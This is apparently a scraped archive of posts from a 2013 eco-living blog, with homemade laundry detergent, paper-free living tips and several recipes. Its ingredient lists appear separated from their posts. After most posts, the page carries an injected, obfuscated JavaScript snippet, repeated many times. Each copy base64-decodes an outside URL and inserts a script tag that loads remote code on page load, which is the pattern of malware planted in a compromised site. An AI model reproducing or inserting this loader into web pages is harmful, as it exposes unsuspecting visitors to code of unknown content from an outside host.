Posts by kar41287:
- Use Cloth Paper Towels and Cloth Cleaning Rags, instead of disposable paper towels. When searching online use the terms “unpaper towels,” “reusable paper towels,” or “cloth paper towels.” I love the ones by NaomiNaturals on Etsy (they snap together and are reinforced in the middle, so the cotton and terry cloth sides don’t move around). I also love ManInTheMoonHerbs on Etsy for lint free cleaning rags. For a cheaper cloth, I cut cleaning rags out of old clothes and towels (these are mainly used for really messy jobs like changing the oil in the car).
- Cloth Baby Wipes/Family wipes can be used to replace disposable baby wipes, face wipes, hand wipes, and toilet paper. For more information read All About Cloth Wipes.
- Use ceramic, glass, wood, or metal tableware and utensils instead of paper plates and bowels, and plastic utensils.
- I love my Corelle dinnerware. I have dropped them countless times over the years, without a single chip or break. Plus there is a variety of pattern choices.
- My favorite stainless steel flatware can be found here.
- Beautiful bamboo bowls.
- I love the look of these aluminum tumblers.
- Instead of buying paper wall calendars make your own. I was given a white board calendar last Christmas. It uses 35 square paint chips (7 rows x 5 columns) glued to a black paper, placed inside a picture frame. I am able to use dry erase markers on the glass.
- Use page protectors (the shiny kind, not matt finish) with paper inside to make a dry erase board for to-do lists, portable calendars, brainstorming pages, and anything else that would be only temporarily used – like scratch paper. Store these in a 3-ring binder.
- Set up paper free billing statements and pay bills online. This allows you to view your bills and statements at any time and have the convenience of making a direct deposit without writing a check. You don’t have to worry about being home to get your mail. Also, if the billing company doesn’t have online accounts, you can typically set up an account with your bank to have them mail your payment for you. As a bonus, some companies give you a discount for going paper free. With Verizon I get a $3 discount each month.
- Instead of tampons and disposable pads (which are made with rayon – a wood pulp mixture), use a menstrual cup and cloth pads. For more information read A Menstrual Cup is a Girl’s Best Friend.
- 1 1/4 cup whole wheat pastry flour (make sure it is PASTRY flour so your pie crust will turn out flaky)
- 1/8 tsp. fine sea salt
- 7 Tbsp. solid coconut oil (refrigerate coconut oil to make it solid)
- 8 Tbsp. ice water
- Combine whole wheat pastry flour and salt.
- Add solid coconut oil a little at a time (about 1 Tbsp. at a time, pressing and mixing with a fork).
- Add 2-8 Tbsp. of ice water, 1/2 Tbsp at a time, until dough comes together.
- Place dough on cutting board/flat surface to form flattened disc.
- Wrap with plastic wrap and refrigerate 1 hr. – overnight. (At this point you can freeze in a ball for later use – just thaw before rolling out.)
- Roll dough on floured surface. (Be generous with the flour on both the flat surface and your rolling pin to avoid sticking, you can always brush excess off.)
- Bake following pie filling instructions/ until golden brown.
- Fels-Naptha Soap – It isn’t natural and it includes titanium dioxide which is a known carcinogen.
- Washing Soda (Sodium Carbonate) – It isn’t carcinogenic nor a neurotoxin, but it is linked with respiratory tract irritation, damage to nasal septum, coughing and difficulty breathing if inhaled, gastrointestinal tract irritation, nausea, vomiting, and diarrhea if ingested, and skin irritation and burning if in direct contact with skin (this made me have to wear gloves while washing clothes by hand, since my skin would peel).
- Oxygen Cleaner (Sodium Percarbonate and Sodium Carbonate) – First, it contains washing soda (sodium carbonate); second, it isn’t environmentally friendly (Ethoxylated Alcohol C12-C16 is an ingredient used that is toxic to aquatic life and never to be flushed into a sewer system – which is unavoidable when washing laundry); third, Ethoxylated Alcohol C12-C16 is listed as a human carcinogen by the National Toxicology Program (NTP) and International Agency for Research on Cancer (IARC), as well as a reproductive hazard by the Occupational Safety and Health Administration (OSHA).
- Pure castile soap is a natural cleaning agent.
- Baking soda loosens dirt and stains, and reduces or eliminates odors.
- Epsom salt is great with hard water, preventing excess mineral build up.
- Borax helps remove tough stains, reduces or eliminates odors, softens hard water, and is a natural alternative to color-safe bleach.
- 4 lbs. 12 oz. box borax (sodium tetraborate)
- 4 lbs. box baking soda (sodium bicarbonate)
- 4 lbs. Epsom salt (magnesium sulfate)
- 3 bars of pure castile soap, grated (I prefere Dr. Bronner’s Baby Mild Soap– no fragrance, or Tea Tree Oil Soap– antibacterial properties)
- Grate pure castile soap, or chop it and put it in a high-speed blender to make a powder.
- Mix all ingredients thoroughly.
- Place powdered detergent in a 2 gallon container.
- Use 1 Tbsp. for small or delicate loads and 2 Tbsp. for large loads.
- Like any other detergent that contains “soap”, over time repelling can occur with cloth diapers, feel free to omit the pure castile soap specifically for your diaper detergent.
- 1/2 cup of Hydrogen Peroxide can be added to the wash to help with bad stains (I even make a paste of hydrogen peroxide and baking soda to treat stains before washing).
- Distilled White Vinegar helps brighten whites, removes odors, and can be used in place of fabric softener.
- 3 cups peanuts, deshelled
- (Optional) honey, stevia, agave, cinnamon, nutmeg, or chocolate powder
- Place peanuts in your blender or food processor.
- Blend on high until peanuts are creamy and warm (about 5 minutes).
- Place in an airtight container.
- If it isn't thick enough for your liking keep in fridge, otherwise store in a cool dark place.
- 3 cups water
- 2 cups frozen strawberries
- 2 cups frozen raspberries
- 20 oz. can of crushed pineapple
- 3 cups raw spinach
- Blend all ingredients together until smooth.
- I usually drink 2.5 cups at a time, 5 servings.
- Organic Coconut Oil
- Organic Portabella Mushroom Cap (1 per burger)
- 100% Whole Wheat Sandwich Rounds/Thins (1 whole/ 2 halves per burger)
- 1 tsp. Garlic Powder
- ¾ tsp. steak seasoning (McCormick Grill Mates)
- Optional Condiments: lettuce/spinach, onions, cheese (apple wood smoked gouda is great), butter, mayo, avocado, etc.
- Clean organic portabella mushroom caps and remove stems.
- Very lightly spread coconut oil on the each portabella mushroom cap and sprinkle seasoning on each side.
- With 1 tsp of coconut oil in the pan, heated on medium high, cook the top of the cap (smooth side) for 5 minutes, flip and cook for another 4 minutes. -Cook longer for thicker mushrooms.
- Toast 100% whole wheat sandwich rounds, either in toaster or in pan with mushrooms. (You can lightly add butter after toasting - I prefer butter, but my husband uses mayo.)
- Add cooked portabella mushroom caps and your choice of condiments inside the toasted bun.: I prefer spinach, butter, and thick cut apple wood smoked gouda; my husband prefers lettuce, mayo, and thick cut apple wood smoked gouda.
- 1 lb. ground turkey or lean ground beef (preferably grass-fed)
- 1 lb. heirloom tomatoes or 14.5 oz. canned diced tomatoes
- 1 small onion, diced
- 16 oz. can pinto or kidney beans, drained and rinsed
- 1 grated carrot – about 1/3 cup (used as a nutritious sweetener, instead of sugar)
- 3 garlic cloves minced
- 3 cups water
- 1 Tbsp. cumin
- 1 Tbsp. sea salt, split in half
- 1 Tbsp. chili powder, split in half
- 1/2 tsp. black pepper
- 1/2 tsp. cayenne pepper
- 4½ lb. chicken (I prefer free-range organic chicken)
- sea salt and ground pepper
- 1 large lemon, un-waxed
- 20 cloves of garlic, with skins removed
- olive oil
- 2 Tbsp. rosemary
- garlic powder
- marinade: ½ can of 100% natural chicken broth, 1 tsp. garlic powder, 1 tsp. sea salt, and 1 tsp. rosemary.
- Rinse the chicken off and make sure the cavity is clean.
- Rub chicken inside and out with salt, pepper, and garlic powder.
- Inject chicken with marinade.
- Cover and set in fridge until time to cook, the longer the better.
- Preheat oven to 375 degrees Fahrenheit.
- Bring pot of salted water to boil.
- Put lemon and garlic cloves in water and cook for about 12 minutes (this would also be a great time to boil potatoes).
- Take chicken from fridge, pat dry, and place in greased roasting tray.
- Rub olive oil all over the chicken.
- Push garlic cloves, rosemary, and whole lemon into cavity.
- Poke holes in lemon to allow juice to run, or use tongs and some pressure to squeeze it, making it burst open (tilt the pan back and forth to allow juice to spread).
- Cook 1½ hours, until temperature reaches 165 degrees Fahrenheit.
- Remove lemon and squeeze over the top of the chicken.
- Enjoy!
- ½ cup water
- ½ cup almond milk (I prefer Blue Diamond: Amond Breeze Original)
- 1½ cups green grapes
- 1 cup frozen mangos
- ½ cup frozen strawberries
- 2 cups spinach, packed down
- Combine all ingredients in blender, in order listed.
- Blend until smooth.
- Enjoy your Green Smoothie!
Cleaning Out The Clutter’s Top 10 Posts of 2013
December 30th, 2013We have been busy this year, both with the Cleaning Out The Clutter, and in our personal lives. Let’s look at our Top 10 Posts of 2013 (based on number of views).
1. All About Homemade Cloth Baby Wipes and Wipe Solutions
Evidently, many families have decided to take a healthier and eco-friendly approach to cleaning little behinds (or big behinds if you use them as a family cloth, like I do). This was by far our most popular post written to date (with over 12,000 views this year) and the one with the most questions asked.
2. Washing Clothes by Hand and Tips for Line Drying
Many responses state that this article has helped them in a washing machine crisis, or with ideas to improve their hand washing routine.
3. A Menstrual Cup is a Girl’s Best Friend
I will admit, I loved writing this article. I’ve always been out spoken and not afraid to talk about “personal” issues, so getting into how to improve menstruation habits was perfect for me. I’m actually planning additional posts on this subject, since I have learned even more this past year.
4. Eco-Friendly, All Natural, Homemade Powdered Laundry Detergent
This was a real revelation for me. To really look into the individual ingredients on what is being used and to look for both health and environmental effects is important. I will say, I got a major complement after I made a batch for my very picky grandmother, and she kept raving about how much she loves it during Christmas dinner.
5. Homemade Almond Coconut Oil Moisturizer
This moisturizer has become my favorite beauty product. We always make some when my teenage and preteen sisters visit, just because it smells so good and really makes your skin feel and look great.
6. Whole Wheat and Coconut Oil Pie Crust
I love this pie crust!!! I’m pretty sure all of my family and friends know that by now, because I talk about it every time I make a sweet potato pie, which has been a few times a month this fall and winter.
7. My Favorite Eco-Friendly Products
When writing this article I realized just how much my husband and I have changed our lives. It also inspired me to look for additional ways to live an eco-friendly and healthy lifestyle.
My mom, Rhonda Wylie, did a nice article on presents that don’t break the bank. There are several good ideas for different DIY gifts.
This has been a popular smoothie recipe that my mom uses regularly. Anything to add a natural source of energy is needed.
10. Baked Pork Chops and Brown Rice
My mom’s baked pork chops and brown rice recipe make me hungry just thinking about it. Yummy!
Now we know more about what type of posts you enjoy reading. 2014 will expand on ideas from above and continue to provide additional inspiration. Was there a post we wrote that you loved, but wasn’t mentioned? Comment to let us know what type of posts you want more of; if it is something we have never experienced we love to do research and try new things.;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
As Close to Paper Free As I Can Be
November 9th, 2013
My Favorite Eco-Friendly Products mentioned that I hate using a product only once, then discarding it, like paper towels or tampons. This has led me to live more of a paper free lifestyle. How do I live in a paper free home? Easily, there are multiple ways to cut down on throwing away paper.
Tip: Buy a wet bag here or here to keep dirty cloth paper towels separated from the rest of the laundry.
Tip: Use the extra squares to keep track of upcoming appointments or notes.
Tip: Some banks (like JPMorgan Chase) have ATMs that allow you to make deposits, without a deposit slip and the money will be available the next day.
What are you favorite ways of going paper free?;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
Whole Wheat and Coconut Oil Pie Crust
October 28th, 2013Temperatures are dropping and my sweet potato pie craving is increasing, meaning I needed to find a healthy pie crust recipe. I typically buy a refrigerated pie crust, but now that I am more aware of what I eat, I looked over the ingredients and decided I prefer not to use a pie crust with ingredients like “lard,” “Red 40,” “Yellow 5,” or “Xanthan Gum” (you can view the ingredients here).
I reviewed a variety of pie crust recipes and didn’t find exactly what I wanted. I knew that whole wheat pastry flour can be used in place of all-purpose flour, and coconut oil can be used in place of butter or lard, so here is what I came up with.
Whole Wheat and Coconut Oil Pie Crust:
Directions:
Nutrition based on a 2,000 calorie diet:
Serving size: 1/8
Calories: 170.25
Fat: 12.25g , 27%
Saturated Fat: 10.5g , 50.75%
Sodium: 295mg , 12.5%
Carbohydrates: 14g , 5%
Fiber: 2.5g , 10%
Protein: 1.9g
Calcium: 1.25%
Iron: 5%
I hope you enjoy how simple this whole wheat pie crust is and the added nutritional benefits by the ingredient choices.
;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
Eco-Friendly, All Natural, Homemade Powdered Laundry Detergent
October 17th, 2013I have a confession, the powdered laundry detergent I was previously using (and that most DIY detergent recipes use a variation of) is NOT non-toxic or eco-friendly. This is a new discovery for me. After 2 years of using the same powdered laundry detergent, I decided to look more into the individual ingredients (thankfully my eco-friendly liquid detergent is still environmentally-friendly but the washing soda can still cause problems if not careful while making it).ggg
With the old detergent the ingredients I found to have a possible negative effect are:
When I decided to change my recipe I began by looking at laundry detergent that can be used on baby clothes and cloth diapers, since as a community we tend to be more health conscience when it comes to our infants. I did find a few that were still using washing soda or an oxygen cleaner, so I combined the environmentally friendly and natural ingredients to make my own. The ingredients I came up with are: pure castile soap (I use Dr. Bronner’s since it is organic and easy for me to find online or at natural food stores), baking soda (sodium bicarbonate), Epsom salt (magnesium sulfate), and borax (sodium tetraborate). [If you are unsure about the safety of borax please read this article and the related links on the Crunchy Betty’s page, so you can make your own informed decision.]
I have tested this recipe with both washing by hand and line drying and using a washing machine and dryer, and with both cold and hot washes. The only difference I have found from my old powdered detergent is my clothes now seem a little softer after line drying, and I haven’t had a need to use protective gloves with this detergent since my hands don’t become itchy, red, or have any peeling (a great benefit over the previous recipe). I still use 2 Tbsp. for every large load and only 1 Tbsp. for smaller loads. If using only 1 Tbs. per load it will last over 200 loads.
Eco-Friendly, All Natural, Homemade Laundry Detergent
Directions:
Tips:
Update 10/18/13: Today I washed the dirtiest clothes I have ever seen. My husband’s work clothes were dripping with oil/grease (literally). I don’t know if he had it poured on him or what, but his clothes were black, coating everything they touched, and the fumes made me nauseated to be around. I used 3 Tbs. of this detergent on them, and they came out perfect. I can’t even tell they had such a horrible mess on them. I wish I had taken before and after pictures to show the dramatic difference.
For more information regarding ingredient choices go to:
http://www.cameochemicals.noaa.gov/chemical/26003
http://www.cameochemicals.noaa.gov/chemical/4514
http://www.chemicalbook.com/ChemicalProductProperty_EN_CB11211808.htm
http://www.crunchybetty.com/getting-to-the-bottom-of-borax-is-it-safe-or-not
http://www.ewg.org/guides/cleaners/441-FelsNapthaHeavyDutyLaundryBarSoap
http://www.guidechem.com/msds/68439-50-9.html
http://www.livestrong.com/article/317084-side-effects-of-sodium-carbonate/
http://www.nlm.nih.gov/medlineplus/ency/article/002486.htm
http://www.sustainablebabysteps.com/oxiclean.html
Next Step to Green Living: As Close to Paper Free as I Can Be
;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
Homemade Creamy Peanut Butter (100% Peanuts)
October 14th, 2013
I already wrote about making homemade sweet and creamy peanut butter, but that recipe uses oil. Despite my love for its taste, I have grown tired of stirring every time I want to make a peanut butter and strawberry jam sandwich. This new recipe is simple, just 1 ingredient, peanuts!
You can use any type of peanuts you want; organic raw, salted, roasted, honey roasted, spicy… it’s up to you. You can also add a variety of flavors to it: honey, cinnamon, nutmeg, chocolate powder (peanuts aren’t naturally sweet, so you will have to add honey, stevia, or agave to taste if you want this peanut butter to have more of a store bought flavor).
You simply place the peanuts in your high-speed blender (I love my Vitamix) or food processor. And blend on the highest setting until it becomes nice and creamy. The peanuts will first become a powder, then look similar to dough sticking to the side, then a thicker peanut butter consistency, finally it will become very creamy. The peanut butter will be warm and slightly steaming when it is perfect. You will not have to worry about oil separation when storing with natural peanut butter.
Next Recipe: Whole Wheat and Coconut Oil Pie Crust
;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
Tangy Fruit Smoothie
October 8th, 2013
I can only describe the taste of this smoothie as “tangy.” The pineapple and raspberry flavors really take over in this combination.
When I first made this it had a very strong, tangy taste and was thick like a smoothie. I put the rest in the fridge overnight, and the next morning it was more of a juice consistency with a lighter, sweeter taste. Remember, smoothie flavors and thicknesses can change with time.
Next Recipe: Homemade Creamy Peanut Butter (100% Peanuts)
;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
Mushroom Burger
September 25th, 2013A mushroom burger makes for a healthy, low-calorie, and quick meal in my home. These are great for a tasty vegetarian meal that any meat eater will enjoy.
The first time I made this we were about half way through with our burgers (after a minute of eating) when my husband looked at me and said, “You already took a picture, right? Because you have to write about these.” When I replied with , “No,” he stopped eating and says, “Go ahead, it shows just how good it is.” No, I didn’t take a pic of the already devoured mushroom burger, instead I made them again. My husband describes them as a “tasty and juicy burger” with a “chicken-like texture.”
Next Recipe: Tangy Fruit Smoothie
;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
A Heathier Chili with Beans
August 4th, 2013
Chili is one of those comfort foods that can be packed with unhealthy ingredients, especially if it is processed or the recipe uses package seasoning mix. Ingredients such as bleached enriched flour, sugar, and preservatives are in it.
My low calorie (168 per serving) chili recipe uses simple ingredients that you can find at home.
Ingredients:
Instructions:
In a large pot cook ground turkey/ beef with 1/2 Tbsp sea salt, 1/2 Tbsp. chili powder, and 1/2 tsp. black pepper. Drain grease.
Diced Tomatoes: If using fresh heirloom tomatoes instead of a canned diced tomatoes, in a separate pot bring water to boil. Add heirloom tomatoes and boil 1 minute. Drop tomatoes in bowl of ice water. After tomatoes are cool place on cutting board and pull skins off (skins should peel off easily). Cut tomatoes in half, remove core, and dice to preferred size. Add diced tomatoes back to pot and simmer 5 minutes on medium low.
Add diced tomatoes, water, onions, grated carrot, beans, and remaining seasoning to the pot of ground turkey/beef. Bring to boil for 5 minutes. Simmer on low 30 minutes to 1 hour stirring often (cover after 30 minutes when liquid is low). This will make about 6 cups of chili. Serve homemade chili with beans as is or with cheese and crackers.
Tip: If you have a spouse or child who doesn’t like seeing tomatoes in their food because it makes them think they can taste them either place the cooked/ canned diced tomatoes in the blender and blend until smaller or smooth, or while boiling the chili use a potato masher to make them smaller.
Nutrition based on 2,000 calorie diet: Serving size = 1 cup
Calories: 168
Fat: 4.3g, 32%
Saturated Fat: 0.5g, 2.2%
Cholesterol: 13.3mg, 4.5%
Sodium: 1219.5mg, 49%
Carbohydrates: 24.6g, 6.4%
Dietary Fiber: 3.7g, 19.3%
Sugar: 3.1g
Protein: 9.5g
Vitamin A: 81.25%
Vitamin C: 27.9%
Calcium: 8%
Iron: 16.9%
Next Recipe: Fruit and Spinach Smoothie Your Kids Will Love
;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
Lemon and Herbs Roasted Chicken
July 4th, 2013
Chicken can be expensive when buying individual pieces, but when using a whole chicken the cost is less and you can use the meat on a variety of things. We like to eat ours by itself, on sandwiches, in soups, and in wraps. This lemon and herb filled roasted chicken is easy to make and delicious.
Next Recipe: A Healthier Chili with Beans
;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
Green Smoothie for Health and Exercise
June 25th, 2013
I love smoothies, especially my green smoothie that is packed with vitamins and minerals, helping me maintain my health and repair my muscles after exercising. This smoothie isn’t thick like most, it is in-between the consistency of juice and a typical smoothie. Part of the reason I love this smoothie is because I am able to get 1,070 mg out of the 3,500 mg of Potassium we need per day, helping me with cramping due to exercise, or less fun reasons. It also gives me 347% of my daily Vitamin C, 19.5% of my daily Iron, 154% of my daily Vitamin A, 35.5% of my daily Calcium, and 13.5 g of Protein, with only 326.5 calories for 3 1/2 cups of smoothie deliciousness.
Next Recipe: Lemon and Herbs Roasted Chicken
;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
